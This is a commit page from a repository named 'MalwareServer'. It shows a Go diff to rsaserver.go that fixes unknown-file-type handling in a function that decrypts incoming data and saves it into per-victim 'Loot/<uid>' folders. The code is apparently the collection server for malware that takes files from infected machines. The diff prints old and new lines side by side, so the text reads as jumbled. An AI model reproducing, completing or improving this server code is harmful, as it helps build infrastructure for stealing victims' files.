Joren/MalwareServer
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Fix incorrectly handeling of unknown filetypes

Browse Source
This commit is contained in:
Joren Schipman 2024-05-01 22:59:59 +02:00
parent 1a8966cb1f
commit 323b6e1f82
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
1 changed files with 36 additions and 30 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

66
rsaserver.go
View File

@ -180,40 +180,46 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
return decodedKey, err return decodedKey, err
} }
func handleDecrypted(decryptedDataB []byte, uidB []byte){ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB))) data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
fileType, err := magic.Lookup(data)
if err != nil {
if err == magic.ErrUnknown {
fmt.Println("File type is unknown")
} else {
panic(err)
}
}
var fileTDef string
if fileType != nil {
fileTDef = fileType.Extension
} else {
fileTDef = "unknown"
}
uid := strings.TrimSpace(string(uidB))
folderPath := fmt.Sprintf("Loot/%s", uid)
err = createFolderIfNotExists(folderPath)
if err != nil {
panic(err)
}
fileType, err := magic.Lookup(data) timestamp := time.Now().Unix()
if err != nil { filename := fmt.Sprintf("%d.%s", timestamp, fileTDef)
if err == magic.ErrUnknown {
fmt.Println("File type is unknown") filePath := fmt.Sprintf("%s/%s", folderPath, filename)
fileType.Extension = "unk" fmt.Println(filePath)
}else{ err = saveFile(filePath, data)
panic(err) if err != nil {
} panic(err)
} }
uid := strings.TrimSpace(string(uidB)) fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
folderPath := fmt.Sprintf("Loot/%s", uid)
err = createFolderIfNotExists(folderPath)
if err != nil {
panic(err)
}
timestamp := time.Now().Unix()
filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)
filePath := fmt.Sprintf("%s/%s", folderPath, filename)
fmt.Println(filePath)
err = saveFile(filePath, data)
if err != nil {
panic(err)
}
fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
} }
func createFolderIfNotExists(folderPath string) error { func createFolderIfNotExists(folderPath string) error {
_, err := os.Stat(folderPath) _, err := os.Stat(folderPath)
if os.IsNotExist(err) { if os.IsNotExist(err) {